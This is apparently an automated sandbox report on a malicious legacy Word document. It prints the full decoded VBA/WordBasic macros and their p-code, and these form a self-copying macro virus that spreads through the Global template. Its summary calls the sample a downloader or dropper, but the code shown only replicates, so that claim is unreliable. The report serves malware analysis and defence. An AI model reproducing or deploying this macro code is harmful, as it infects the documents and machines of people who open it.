MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a legacy Word document containing VBA macros, specifically an AutoOpen macro and a FileSaveAs macro. The AutoOpen macro is designed to execute automatically when the document is opened. It appears to copy itself and potentially trigger the FileSaveAs macro, which in turn saves a copy of the document. This behavior is indicative of a downloader or dropper mechanism, likely intended to execute a second-stage payload. The presence of legacy WordBasic macros and the AutoOpen entry point suggest a common technique for initial infection via spearphishing attachments.
Heuristics 4
-
ClamAV: Doc.Trojan.NOP-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.NOP-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4561 bytes |
SHA-256: 7b29dd533543dd3e0ff8a99c6b42309f0b15ce01dfe8e52bedde303c92165a50 |
|||
|
Detection
ClamAV:
Doc.Trojan.NOP-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "FileSaveAs"
Public Sub MAIN()
Attribute MAIN.VB_Description = "Saves a copy of the document in a separate file"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSaveAs.MAIN"
Dim Name_$
On Error GoTo -1: On Error GoTo exit_
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
WordBasic.Dialog.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
Name_$ = WordBasic.[FileName$]()
WordBasic.MacroCopy "Global:FileSaveAs", WordBasic.[FileName$]() + ":FileSaveAs"
WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.FileSaveAs dlg
exit_:
End Sub
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim Name_$
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
If dlg.Format = 0 Then
dlg.Format = 1
Name_$ = WordBasic.[FileName$]()
WordBasic.MacroCopy "Global:FileSaveAs", WordBasic.[FileName$]() + ":FileSaveAs"
WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.FileSaveAs dlg
End If
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":filesaveas", "Global:FileSaveAs"
End Sub
' Processing file: /opt/analyzer/scan_staging/ee4e9f77ce0642adaa76cf5179e6aeff.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/FileSaveAs - 1756 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' Dim
' VarDefn Name_
' Line #3:
' OnError <crash>
' BoS 0x0000
' OnError exit_
' Line #4:
' Dim
' VarDefn dlg (As Object)
' BoS 0x0000
' SetStmt
' LitVarSpecial (False)
' Ld WordBasic
' MemLd DialogRecord
' ArgsMemLd FileSaveAs 0x0001
' Set dlg
' Line #5:
' Ld dlg
' Ld WordBasic
' MemLd CurValues
' ArgsMemCall FileSaveAs 0x0001
' Line #6:
' Ld dlg
' Ld WordBasic
' MemLd Dialog
' ArgsMemCall FileSaveAs 0x0001
' Line #7:
' Ld dlg
' MemLd Format$
' LitDI2 0x0000
' Eq
' If
' BoSImplicit
' LitDI2 0x0001
' Ld dlg
' MemSt Format$
' EndIf
' Line #8:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' St Name_$
' Line #9:
' LitStr 0x0011 "Global:FileSaveAs"
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' LitStr 0x000B ":FileSaveAs"
' Add
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #10:
' LitStr 0x000F "Global:AutoOpen"
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' LitStr 0x0009 ":AutoOpen"
' Add
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #11:
' Ld dlg
' Ld WordBasic
' ArgsMemCall FileSaveAs 0x0001
' Line #12:
' Label exit_
' Line #13:
' EndSub
' Macros/VBA/AutoOpen - 1660 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' Dim
' VarDefn Name_
' Line #3:
' Dim
' VarDefn dlg (As Object)
' BoS 0x0000
' SetStmt
' LitVarSpecial (False)
' Ld WordBasic
' MemLd DialogRecord
' ArgsMemLd FileSaveAs 0x0001
' Set dlg
' Line #4:
' Ld dlg
' Ld WordBasic
' MemLd CurValues
' ArgsMemCall FileSaveAs 0x0001
' Line #5:
' Line #6:
' Ld dlg
' MemLd Format$
' LitDI2 0x0000
' Eq
' IfBlock
' Line #7:
' LitDI2 0x0001
' Ld dlg
' MemSt Format$
' Line #8:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' St Name_$
' Line #9:
' LitStr 0x0011 "Global:FileSaveAs"
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' LitStr 0x000B ":FileSaveAs"
' Add
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #10:
' LitStr 0x000F "Global:AutoOpen"
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' LitStr 0x0009 ":AutoOpen"
' Add
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #11:
' Ld dlg
' Ld WordBasic
' A
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.